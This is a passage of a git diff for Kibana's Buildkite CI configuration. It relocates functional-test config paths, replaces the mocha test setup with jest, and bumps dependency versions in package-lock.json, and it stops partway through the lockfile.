diff --git a/.buildkite/.mocharc.json b/.buildkite/.mocharc.json deleted file mode 100644 index dd7fabf24eb9b..0000000000000 --- a/.buildkite/.mocharc.json +++ /dev/null @@ -1,5 +0,0 @@ -{ - "extension": ["ts"], - "spec": "**/*.test.ts", - "require": "ts-node/register" -} diff --git a/.buildkite/ftr_base_serverless_configs.yml b/.buildkite/ftr_base_serverless_configs.yml index 50393bb00f794..7e036096910f1 100644 --- a/.buildkite/ftr_base_serverless_configs.yml +++ b/.buildkite/ftr_base_serverless_configs.yml @@ -2,9 +2,16 @@ disabled: # Base config files, only necessary to inform config finding script # Serverless deployment-agnostic default config for api-integration tests - - x-pack/test/api_integration/deployment_agnostic/default_configs/serverless.config.base.ts - - x-pack/test/api_integration/deployment_agnostic/default_configs/feature_flag.serverless.config.base.ts + - x-pack/platform/test/api_integration_deployment_agnostic/default_configs/serverless.config.base.ts + - x-pack/platform/test/api_integration_deployment_agnostic/default_configs/feature_flag.serverless.config.base.ts # Serverless base config files - x-pack/test_serverless/api_integration/config.base.ts - x-pack/test_serverless/functional/config.base.ts - x-pack/test_serverless/shared/config.base.ts + +enabled: + # Serverless deployment-agnostic configs to run platform api-integration tests + - x-pack/platform/test/api_integration_deployment_agnostic/configs/serverless/oblt.serverless.config.ts + - x-pack/platform/test/api_integration_deployment_agnostic/configs/serverless/search.serverless.config.ts + - x-pack/platform/test/api_integration_deployment_agnostic/configs/serverless/security.serverless.config.ts + - x-pack/platform/test/api_integration_deployment_agnostic/configs/serverless/oblt.logs_essentials.serverless.config.ts diff --git a/.buildkite/ftr_oblt_serverless_configs.yml b/.buildkite/ftr_oblt_serverless_configs.yml index 33ff3a3337c56..976a9e904f241 100644 --- a/.buildkite/ftr_oblt_serverless_configs.yml +++ b/.buildkite/ftr_oblt_serverless_configs.yml @@ -1,6 +1,7 @@ disabled: # Base config files, only necessary to inform config finding script - x-pack/test_serverless/functional/test_suites/observability/cypress/oblt_config.base.ts + - x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.ai_assistant_local.serverless.config.ts # Cypress configs, for now these are still run manually - x-pack/test_serverless/functional/test_suites/observability/cypress/config_headless.ts @@ -14,7 +15,6 @@ enabled: - x-pack/test_serverless/api_integration/test_suites/observability/common_configs/config.group1.ts - x-pack/test_serverless/api_integration/test_suites/observability/common_configs/config.logs_essentials.group1.ts - x-pack/test_serverless/api_integration/test_suites/observability/fleet/config.ts - - x-pack/test_serverless/api_integration/test_suites/observability/ai_assistant/config.ts - x-pack/test_serverless/functional/test_suites/observability/config.ts - x-pack/test_serverless/functional/test_suites/observability/config.logs_essentials.ts - x-pack/test_serverless/functional/test_suites/observability/config.examples.ts @@ -39,7 +39,6 @@ enabled: - x-pack/test_serverless/functional/test_suites/observability/config.telemetry.ts # serverless config files that run deployment-agnostic tests - x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.serverless.config.ts - - x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.logs_essentials.serverless.config.ts - x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.ai_assistant.serverless.config.ts - x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.apm.serverless.config.ts - x-pack/test/api_integration/deployment_agnostic/configs/serverless/oblt.synthetics.serverless.config.ts diff --git a/.buildkite/ftr_oblt_stateful_configs.yml b/.buildkite/ftr_oblt_stateful_configs.yml index d27dc531a92e9..1904581374086 100644 --- a/.buildkite/ftr_oblt_stateful_configs.yml +++ b/.buildkite/ftr_oblt_stateful_configs.yml @@ -10,6 +10,7 @@ disabled: #FTR configs - x-pack/solutions/observability/plugins/uptime/e2e/config.ts - x-pack/solutions/observability/test/api_integration/config.ts + - x-pack/test/api_integration/deployment_agnostic/configs/stateful/oblt.ai_assistant_local.stateful.config.ts # Elastic Synthetics configs - x-pack/solutions/observability/plugins/uptime/e2e/uptime/synthetics_run.ts @@ -40,7 +41,6 @@ enabled: - x-pack/test/observability_functional/with_rac_write.config.ts - x-pack/test/observability_onboarding_api_integration/basic/config.ts - x-pack/test/observability_onboarding_api_integration/cloud/config.ts - - x-pack/test/observability_ai_assistant_api_integration/enterprise/config.ts - x-pack/test/observability_ai_assistant_functional/enterprise/config.ts - x-pack/solutions/observability/test/api_integration/profiling/cloud/config.ts - x-pack/test/functional/apps/apm/config.ts diff --git a/.buildkite/ftr_platform_stateful_configs.yml b/.buildkite/ftr_platform_stateful_configs.yml index b2af62af2097a..568931bda631b 100644 --- a/.buildkite/ftr_platform_stateful_configs.yml +++ b/.buildkite/ftr_platform_stateful_configs.yml @@ -1,5 +1,7 @@ disabled: # Stateful base config for deployment-agnostic tests + - x-pack/platform/test/api_integration_deployment_agnostic/default_configs/stateful.config.base.ts + - x-pack/platform/test/api_integration_deployment_agnostic/default_configs/feature_flag.stateful.config.base.ts - x-pack/test/api_integration/deployment_agnostic/default_configs/stateful.config.base.ts - x-pack/test/api_integration/deployment_agnostic/default_configs/feature_flag.stateful.config.base.ts @@ -8,7 +10,7 @@ disabled: - src/platform/test/functional/firefox/config.base.ts - x-pack/test/functional/config.base.js - x-pack/platform/test/functional/config.base.ts - - x-pack/test/localization/config.base.ts + - x-pack/platform/test/localization/config.base.ts - src/platform/test/server_integration/config.base.js - x-pack/test/functional_with_es_ssl/config.base.ts - x-pack/test/api_integration/config.ts @@ -17,10 +19,11 @@ disabled: - x-pack/test/functional_basic/apps/ml/config.base.ts - x-pack/test/functional_basic/apps/transform/config.base.ts - x-pack/platform/test/api_integration_basic/config.basic_license.ts + - x-pack/platform/test/ui_capabilities/common/config.ts # QA suites that are run out-of-band - x-pack/test/stack_functional_integration/configs/config.stack_functional_integration_base.js - - x-pack/test/upgrade/config.ts + - x-pack/platform/test/upgrade/config.ts - src/platform/test/functional/config.edge.js - x-pack/platform/test/functional/config.edge.ts - x-pack/test/functional/config.edge.js @@ -51,12 +54,12 @@ disabled: # Gen AI suites, running with their own pipeline - x-pack/test/functional_gen_ai/inference/config.ts - defaultQueue: 'n2-4-spot' enabled: - src/platform/test/accessibility/config.ts - src/platform/test/analytics/config.ts - src/platform/test/api_integration/config.js + - src/platform/test/api_integration/apis/unused_urls_task/config.ts - src/platform/test/examples/config.js - src/platform/test/functional/apps/bundles/config.ts - src/platform/test/functional/apps/console/config.ts @@ -134,9 +137,9 @@ enabled: - x-pack/test/accessibility/apps/group1/config.ts - x-pack/test/accessibility/apps/group2/config.ts - x-pack/test/accessibility/apps/group3/config.ts - - x-pack/test/localization/config.ja_jp.ts - - x-pack/test/localization/config.fr_fr.ts - - x-pack/test/localization/config.zh_cn.ts + - x-pack/platform/test/localization/config.ja_jp.ts + - x-pack/platform/test/localization/config.fr_fr.ts + - x-pack/platform/test/localization/config.zh_cn.ts - x-pack/platform/test/alerting_api_integration/basic/config.ts - x-pack/platform/test/alerting_api_integration/security_and_spaces/group1/config.ts - x-pack/platform/test/alerting_api_integration/security_and_spaces/group2/config.ts @@ -162,8 +165,8 @@ enabled: - x-pack/platform/test/cases_api_integration/security_and_spaces/config_trial_common.ts - x-pack/platform/test/cases_api_integration/security_and_spaces/config_no_public_base_url.ts - x-pack/platform/test/cases_api_integration/spaces_only/config.ts - - x-pack/test/disable_ems/config.ts - - x-pack/test/examples/config.ts + - x-pack/platform/test/disable_ems/config.ts + - x-pack/platform/test/examples/config.ts - x-pack/test/fleet_api_integration/config.agent.ts - x-pack/test/fleet_api_integration/config.agent_policy.ts - x-pack/test/fleet_api_integration/config.epm.ts @@ -184,9 +187,9 @@ enabled: - x-pack/test/functional_basic/apps/transform/creation/runtime_mappings_saved_search/config.ts - x-pack/test/functional_basic/apps/transform/permissions/config.ts - x-pack/test/functional_basic/apps/transform/feature_controls/config.ts - - x-pack/test/functional_cors/config.ts - - x-pack/test/functional_embedded/config.ts - - x-pack/test/functional_execution_context/config.ts + - x-pack/platform/test/functional_cors/config.ts + - x-pack/platform/test/functional_embedded/config.ts + - x-pack/platform/test/functional_execution_context/config.ts - x-pack/test/functional_with_es_ssl/apps/cases/group1/config.ts - x-pack/test/functional_with_es_ssl/apps/cases/group2/config.ts - x-pack/test/functional_with_es_ssl/apps/cases/basic/config.ts @@ -200,13 +203,13 @@ enabled: - x-pack/test/functional/apps/advanced_settings/config.ts - x-pack/test/functional/apps/aiops/config.ts - x-pack/test/functional/apps/api_keys/config.ts - - x-pack/test/functional/apps/canvas/config.ts + - x-pack/platform/test/functional/apps/canvas/config.ts - x-pack/test/functional/apps/cross_cluster_replication/config.ts - x-pack/test/functional/apps/dashboard/group1/config.ts - x-pack/test/functional/apps/dashboard/group2/config.ts - x-pack/test/functional/apps/dashboard/group3/config.ts - x-pack/test/functional/apps/data_views/config.ts - - x-pack/test/functional/apps/dev_tools/config.ts + - x-pack/platform/test/functional/apps/dev_tools/config.ts - x-pack/test/functional/apps/discover/group1/config.ts - x-pack/test/functional/apps/discover/group2/config.ts - x-pack/test/functional/apps/discover/group3/config.ts @@ -245,15 +248,15 @@ enabled: - x-pack/test/functional/apps/ml/stack_management_jobs/config.ts - x-pack/test/functional/apps/ml/memory_usage/config.ts - x-pack/test/functional/apps/monitoring/config.ts - - x-pack/test/functional/apps/painless_lab/config.ts + - x-pack/platform/test/functional/apps/painless_lab/config.ts - x-pack/test/functional/apps/remote_clusters/config.ts - - x-pack/test/functional/apps/reporting_management/config.ts + - x-pack/platform/test/functional/apps/reporting_management/config.ts - x-pack/test/functional/apps/rollup_job/config.ts - - x-pack/test/functional/apps/saved_objects_management/config.ts - - x-pack/test/functional/apps/saved_query_management/config.ts - - x-pack/test/functional/apps/saved_query_management/config.v2.ts + - x-pack/platform/test/functional/apps/saved_objects_management/config.ts + - x-pack/platform/test/functional/apps/saved_query_management/config.ts + - x-pack/platform/test/functional/apps/saved_query_management/config.v2.ts - x-pack/platform/test/functional/apps/security/config.ts - - x-pack/test/functional/apps/snapshot_restore/config.ts + - x-pack/platform/test/functional/apps/snapshot_restore/config.ts - x-pack/platform/test/functional/apps/spaces/config.ts - x-pack/test/functional/apps/status_page/config.ts - x-pack/test/functional/apps/transform/creation/index_pattern/config.ts @@ -262,20 +265,20 @@ enabled: - x-pack/test/functional/apps/transform/edit_clone/config.ts - x-pack/test/functional/apps/transform/permissions/config.ts - x-pack/test/functional/apps/transform/feature_controls/config.ts - - x-pack/test/functional/apps/upgrade_assistant/config.ts - - x-pack/test/functional/apps/user_profiles/config.ts + - x-pack/platform/test/functional/apps/upgrade_assistant/config.ts + - x-pack/platform/test/functional/apps/user_profiles/config.ts - x-pack/test/functional/apps/visualize/config.ts - - x-pack/test/functional/apps/watcher/config.ts + - x-pack/platform/test/functional/apps/watcher/config.ts - x-pack/platform/test/functional/config_security_basic.ts - x-pack/test/functional/config.ccs.ts - x-pack/test/functional/config.firefox.js - x-pack/platform/test/functional/config.firefox.ts - - x-pack/test/functional/config.upgrade_assistant.ts - - x-pack/test/functional_cloud/config.ts - - x-pack/test/functional_cloud/saml.config.ts + - x-pack/platform/test/functional/config.upgrade_assistant.ts + - x-pack/platform/test/functional_cloud/config.ts + - x-pack/platform/test/functional_cloud/saml.config.ts - x-pack/test/functional_solution_sidenav/config.ts - - x-pack/test/licensing_plugin/config.public.ts - - x-pack/test/licensing_plugin/config.ts + - x-pack/platform/test/licensing_plugin/config.public.ts + - x-pack/platform/test/licensing_plugin/config.ts - x-pack/test/plugin_functional/config.ts - x-pack/platform/test/reporting_api_integration/reporting_and_security.config.ts - x-pack/platform/test/reporting_api_integration/reporting_without_security.config.ts @@ -290,7 +293,7 @@ enabled: - x-pack/test/saved_object_tagging/api_integration/tagging_usage_collection/config.ts - x-pack/test/saved_object_tagging/functional/config.ts - x-pack/test/saved_objects_field_count/config.ts - - x-pack/test/search_sessions_integration/config.ts + - x-pack/platform/test/search_sessions_integration/config.ts - x-pack/test/security_api_integration/anonymous_es_anonymous.config.ts - x-pack/test/security_api_integration/anonymous.config.ts - x-pack/test/security_api_integration/api_keys.config.ts @@ -326,14 +329,14 @@ enabled: - x-pack/test/security_functional/user_profiles.config.ts - x-pack/test/security_functional/expired_session.config.ts - x-pack/test/session_view/basic/config.ts - - x-pack/test/spaces_api_integration/security_and_spaces/config_basic.ts - - x-pack/test/spaces_api_integration/security_and_spaces/config_trial.ts - - x-pack/test/spaces_api_integration/spaces_only/config.ts + - x-pack/platform/test/spaces_api_integration/security_and_spaces/config_basic.ts + - x-pack/platform/test/spaces_api_integration/security_and_spaces/config_trial.ts + - x-pack/platform/test/spaces_api_integration/spaces_only/config.ts - x-pack/platform/test/task_manager_claimer_update_by_query/config.ts - - x-pack/test/ui_capabilities/security_and_spaces/config.ts - - x-pack/test/ui_capabilities/spaces_only/config.ts + - x-pack/platform/test/ui_capabilities/security_and_spaces/config.ts + - x-pack/platform/test/ui_capabilities/spaces_only/config.ts - x-pack/test/upgrade_assistant_integration/config.ts - - x-pack/test/usage_collection/config.ts + - x-pack/platform/test/usage_collection/config.ts - x-pack/performance/journeys_e2e/aiops_log_rate_analysis.ts - x-pack/performance/journeys_e2e/ecommerce_dashboard.ts - x-pack/performance/journeys_e2e/ecommerce_dashboard_http2.ts @@ -359,8 +362,6 @@ enabled: - x-pack/performance/journeys_e2e/apm_service_inventory.ts - x-pack/performance/journeys_e2e/infra_hosts_view.ts - x-pack/test/custom_branding/config.ts - # stateful config files that run deployment-agnostic tests - - x-pack/test/api_integration/deployment_agnostic/configs/stateful/platform.stateful.config.ts # configs migrated to the new Kibana architecture - x-pack/platform/test/api_integration/apis/aiops/config.ts - x-pack/platform/test/api_integration/apis/cloud/config.ts @@ -405,4 +406,5 @@ enabled: - x-pack/platform/test/saved_object_api_integration/security_and_spaces/config_trial.ts - x-pack/platform/test/saved_object_api_integration/spaces_only/config.ts - x-pack/platform/test/saved_object_api_integration/user_profiles/config.ts - - src/platform/test/api_integration/apis/unused_urls_task/config.ts + # stateful config files that run deployment-agnostic tests + - x-pack/platform/test/api_integration_deployment_agnostic/configs/stateful/platform.stateful.config.ts diff --git a/.buildkite/ftr_search_serverless_configs.yml b/.buildkite/ftr_search_serverless_configs.yml index 2ac1b5e1a0033..4b8fc6967c3f8 100644 --- a/.buildkite/ftr_search_serverless_configs.yml +++ b/.buildkite/ftr_search_serverless_configs.yml @@ -25,5 +25,3 @@ enabled: - x-pack/test_serverless/functional/test_suites/search/common_configs/config.group10.ts - x-pack/test_serverless/functional/test_suites/search/common_configs/config.group11.ts - x-pack/test_serverless/functional/test_suites/search/common_configs/config.group12.ts - # serverless config files that run deployment-agnostic tests - - x-pack/test/api_integration/deployment_agnostic/configs/serverless/search.serverless.config.ts diff --git a/.buildkite/ftr_security_serverless_configs.yml b/.buildkite/ftr_security_serverless_configs.yml index ea80f5af9b479..b181aa5898ddf 100644 --- a/.buildkite/ftr_security_serverless_configs.yml +++ b/.buildkite/ftr_security_serverless_configs.yml @@ -81,6 +81,7 @@ enabled: - x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/configs/serverless.config.ts - x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/upgrade_prebuilt_rules/diffable_rule_fields/common_fields/configs/serverless.config.ts - x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/upgrade_prebuilt_rules/diffable_rule_fields/type_specific_fields/configs/serverless.config.ts + - x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/configs/serverless_essentials_tier.config.ts - x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/rule_bulk_actions/trial_license_complete_tier/configs/serverless.config.ts - x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/rule_delete/trial_license_complete_tier/configs/serverless.config.ts - x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/rule_delete/basic_license_essentials_tier/configs/serverless.config.ts @@ -130,6 +131,5 @@ enabled: - x-pack/test/security_solution_api_integration/test_suites/ai4dsoc/cases/search_ai_lake_tier/configs/serverless.config.ts - x-pack/test/security_solution_api_integration/test_suites/ai4dsoc/nlp_cleanup_task/search_ai_lake_tier/configs/serverless.config.ts # serverless config files that run deployment-agnostic tests - - x-pack/test/api_integration/deployment_agnostic/configs/serverless/security.serverless.config.ts - - x-pack/test/spaces_api_integration/deployment_agnostic/security_and_spaces/serverless.config.ts - - x-pack/test/spaces_api_integration/deployment_agnostic/security_and_spaces/serverless.copy_to_space.config.ts + - x-pack/platform/test/spaces_api_integration/deployment_agnostic/security_and_spaces/serverless.config.ts + - x-pack/platform/test/spaces_api_integration/deployment_agnostic/security_and_spaces/serverless.copy_to_space.config.ts diff --git a/.buildkite/ftr_security_stateful_configs.yml b/.buildkite/ftr_security_stateful_configs.yml index bc34f6c74d783..4c4f5d57065eb 100644 --- a/.buildkite/ftr_security_stateful_configs.yml +++ b/.buildkite/ftr_security_stateful_configs.yml @@ -61,13 +61,14 @@ enabled: - x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/rule_update/trial_license_complete_tier/configs/ess.config.ts - x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/rule_update/basic_license_essentials_tier/configs/ess.config.ts - x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/configs/ess_basic_license.config.ts - - x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/configs/ess_air_gapped.config.ts + - x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/configs/edge_cases/ess_air_gapped.config.ts + - x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/configs/edge_cases/ess_air_gapped_large_package.config.ts - x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_disabled/configs/ess_basic_license.config.ts + - x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/configs/edge_cases/ess_trial_license.config.ts - x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/configs/ess.config.ts - x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/upgrade_prebuilt_rules/diffable_rule_fields/common_fields/configs/ess.config.ts - x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/upgrade_prebuilt_rules/diffable_rule_fields/type_specific_fields/configs/ess.config.ts - - x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/prebuilt_rules_package/air_gapped/configs/ess_air_gapped_large_package.config.ts - - x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/prebuilt_rules_package/air_gapped/configs/ess_air_gapped.config.ts + - x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/configs/ess_basic_license.config.ts - x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/rule_bulk_actions/trial_license_complete_tier/configs/ess.config.ts - x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/rule_delete/trial_license_complete_tier/configs/ess.config.ts - x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/rule_delete/basic_license_essentials_tier/configs/ess.config.ts @@ -115,12 +116,11 @@ enabled: - x-pack/solutions/security/test/cloud_security_posture_functional/config.ts - x-pack/solutions/security/test/cloud_security_posture_functional/config.agentless.ts - x-pack/solutions/security/test/cloud_security_posture_functional/data_views/config.ts - - x-pack/test/spaces_api_integration/deployment_agnostic/spaces_only/config.ts - - x-pack/test/spaces_api_integration/deployment_agnostic/security_and_spaces/stateful.config_basic.ts - - x-pack/test/spaces_api_integration/deployment_agnostic/security_and_spaces/stateful.config_trial.ts - - x-pack/test/spaces_api_integration/deployment_agnostic/security_and_spaces/stateful.copy_to_space.config_trial.ts - - x-pack/test/spaces_api_integration/deployment_agnostic/security_and_spaces/stateful.copy_to_space.config_basic.ts - - x-pack/solutions/security/test/alerting_api_integration/security_and_spaces/group1/config.ts + - x-pack/platform/test/spaces_api_integration/deployment_agnostic/spaces_only/config.ts + - x-pack/platform/test/spaces_api_integration/deployment_agnostic/security_and_spaces/stateful.config_basic.ts + - x-pack/platform/test/spaces_api_integration/deployment_agnostic/security_and_spaces/stateful.config_trial.ts + - x-pack/platform/test/spaces_api_integration/deployment_agnostic/security_and_spaces/stateful.copy_to_space.config_trial.ts + - x-pack/platform/test/spaces_api_integration/deployment_agnostic/security_and_spaces/stateful.copy_to_space.config_basic.ts - x-pack/solutions/security/test/alerting_api_integration/security_and_spaces/group2/config.ts - x-pack/solutions/security/test/alerting_api_integration/security_and_spaces/group2/config_non_dedicated_task_runner.ts - x-pack/solutions/security/test/cases_api_integration/security_and_spaces/config_trial.ts diff --git a/.buildkite/jest.config.js b/.buildkite/jest.config.js new file mode 100644 index 0000000000000..9899d459defbe --- /dev/null +++ b/.buildkite/jest.config.js @@ -0,0 +1,23 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +const { createJsWithTsEsmPreset } = require('ts-jest'); + +const tsJestTransformCfg = createJsWithTsEsmPreset().transform; + +/** @type {import("jest").Config} **/ +module.exports = { + testEnvironment: 'node', + transform: { + ...tsJestTransformCfg, + }, + transformIgnorePatterns: [ + 'node_modules/(?!(@octokit/.*|universal-user-agent|before-after-hook)/)', + ], +}; diff --git a/.buildkite/package-lock.json b/.buildkite/package-lock.json index a7a8d8b290739..f913d79da34fc 100644 --- a/.buildkite/package-lock.json +++ b/.buildkite/package-lock.json @@ -8,7 +8,7 @@ "name": "kibana-buildkite", "version": "1.0.0", "dependencies": { - "@octokit/rest": "^18.10.0", + "@octokit/rest": "^22.0.0", "adm-zip": "^0.5.16", "axios": "^1.8.3", "globby": "^11.1.0", @@ -18,18 +18,16 @@ "tslib": "*" }, "devDependencies": { - "@types/chai": "^4.3.3", + "@types/jest": "^30.0.0", "@types/js-yaml": "^4.0.9", "@types/jscodeshift": "^0.12.0", "@types/minimatch": "^3.0.5", "@types/minimist": "^1.2.5", - "@types/mocha": "^10.0.1", "@types/node": "^15.12.2", - "chai": "^4.3.10", - "chai-snapshot-tests": "^0.6.0", + "jest": "^30.0.3", "jscodeshift": "^17.1.2", - "mocha": "^11.0.1", "nock": "^12.0.2", + "ts-jest": "^29.4.0", "ts-node": "^10.9.2", "typescript": "^5.1.6" } @@ -60,24 +58,24 @@ } }, "node_modules/@babel/code-frame": { - "version": "7.26.2", - "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.26.2.tgz", - "integrity": "sha512-RJlIHRueQgwWitWgF8OdFYGZX328Ax5BCemNGlqHfplnRT9ESi8JkFlvaVYbS+UubVY6dpv87Fs2u5M29iNFVQ==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.27.1.tgz", + "integrity": "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg==", "dev": true, "license": "MIT", "dependencies": { - "@babel/helper-validator-identifier": "^7.25.9", + "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", - "picocolors": "^1.0.0" + "picocolors": "^1.1.1" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/compat-data": { - "version": "7.26.8", - "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.26.8.tgz", - "integrity": "sha512-oH5UPLMWR3L2wEFLnFJ1TZXqHufiTKAiLfqw5zkhS4dKXLJ10yVztfil/twG8EDTA4F/tvVNw9nOl4ZMslB8rQ==", + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.28.0.tgz", + "integrity": "sha512-60X7qkglvrap8mn1lh2ebxXdZYtUcpd7gsmy9kLaBJ4i/WdY8PqTSdxyA8qraikqKQK5C1KRBKXqznrVapyNaw==", "dev": true, "license": "MIT", "engines": { @@ -85,22 +83,22 @@ } }, "node_modules/@babel/core": { - "version": "7.26.10", - "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.26.10.tgz", - "integrity": "sha512-vMqyb7XCDMPvJFFOaT9kxtiRh42GwlZEg1/uIgtZshS5a/8OaduUfCi7kynKgc3Tw/6Uo2D+db9qBttghhmxwQ==", + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.28.0.tgz", + "integrity": "sha512-UlLAnTPrFdNGoFtbSXwcGFQBtQZJCNjaN6hQNP3UPvuNXT1i82N26KL3dZeIpNalWywr9IuQuncaAfUaS1g6sQ==", "dev": true, "license": "MIT", "dependencies": { "@ampproject/remapping": "^2.2.0", - "@babel/code-frame": "^7.26.2", - "@babel/generator": "^7.26.10", - "@babel/helper-compilation-targets": "^7.26.5", - "@babel/helper-module-transforms": "^7.26.0", - "@babel/helpers": "^7.26.10", - "@babel/parser": "^7.26.10", - "@babel/template": "^7.26.9", - "@babel/traverse": "^7.26.10", - "@babel/types": "^7.26.10", + "@babel/code-frame": "^7.27.1", + "@babel/generator": "^7.28.0", + "@babel/helper-compilation-targets": "^7.27.2", + "@babel/helper-module-transforms": "^7.27.3", + "@babel/helpers": "^7.27.6", + "@babel/parser": "^7.28.0", + "@babel/template": "^7.27.2", + "@babel/traverse": "^7.28.0", + "@babel/types": "^7.28.0", "convert-source-map": "^2.0.0", "debug": "^4.1.0", "gensync": "^1.0.0-beta.2", @@ -116,16 +114,16 @@ } }, "node_modules/@babel/generator": { - "version": "7.26.10", - "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.26.10.tgz", - "integrity": "sha512-rRHT8siFIXQrAYOYqZQVsAr8vJ+cBNqcVAY6m5V8/4QqzaPl+zDBe6cLEPRDuNOUf3ww8RfJVlOyQMoSI+5Ang==", + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.28.0.tgz", + "integrity": "sha512-lJjzvrbEeWrhB4P3QBsH7tey117PjLZnDbLiQEKjQ/fNJTjuq4HSqgFA+UNSwZT8D7dxxbnuSBMsa1lrWzKlQg==", "dev": true, "license": "MIT", "dependencies": { - "@babel/parser": "^7.26.10", - "@babel/types": "^7.26.10", - "@jridgewell/gen-mapping": "^0.3.5", - "@jridgewell/trace-mapping": "^0.3.25", + "@babel/parser": "^7.28.0", + "@babel/types": "^7.28.0", + "@jridgewell/gen-mapping": "^0.3.12", + "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" }, "engines": { @@ -133,9 +131,9 @@ } }, "node_modules/@babel/generator/node_modules/@jridgewell/trace-mapping": { - "version": "0.3.25", - "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.25.tgz", - "integrity": "sha512-vNk6aEwybGtawWmy/PzwnGDOjCkLWSD2wqvjGGAgOAwCGWySYXfYoxt00IJkTF+8Lb57DwOb3Aa0o9CApepiYQ==", + "version": "0.3.29", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.29.tgz", + "integrity": "sha512-uw6guiW/gcAGPDhLmd77/6lW8QLeiV5RUTsAX46Db6oLhGaVj4lhnPwb184s1bkc8kdVg/+h988dro8GRDpmYQ==", "dev": true, "license": "MIT", "dependencies": { @@ -144,27 +142,27 @@ } }, "node_modules/@babel/helper-annotate-as-pure": { - "version": "7.25.9", - "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.25.9.tgz", - "integrity": "sha512-gv7320KBUFJz1RnylIg5WWYPRXKZ884AGkYpgpWW02TH66Dl+HaC1t1CKd0z3R4b6hdYEcmrNZHUmfCP+1u3/g==", + "version": "7.27.3", + "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.27.3.tgz", + "integrity": "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg==", "dev": true, "license": "MIT", "dependencies": { - "@babel/types": "^7.25.9" + "@babel/types": "^7.27.3" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/helper-compilation-targets": { - "version": "7.26.5", - "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.26.5.tgz", - "integrity": "sha512-IXuyn5EkouFJscIDuFF5EsiSolseme1s0CZB+QxVugqJLYmKdxI1VfIBOst0SUu4rnk2Z7kqTwmoO1lp3HIfnA==", + "version": "7.27.2", + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.27.2.tgz", + "integrity": "sha512-2+1thGUUWWjLTYTHZWK1n8Yga0ijBz1XAhUXcKy81rd5g6yh7hGqMp45v7cadSbEHc9G3OTv45SyneRN3ps4DQ==", "dev": true, "license": "MIT", "dependencies": { - "@babel/compat-data": "^7.26.5", - "@babel/helper-validator-option": "^7.25.9", + "@babel/compat-data": "^7.27.2", + "@babel/helper-validator-option": "^7.27.1", "browserslist": "^4.24.0", "lru-cache": "^5.1.1", "semver": "^6.3.1" @@ -184,18 +182,18 @@ } }, "node_modules/@babel/helper-create-class-features-plugin": { - "version": "7.26.9", - "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.26.9.tgz", - "integrity": 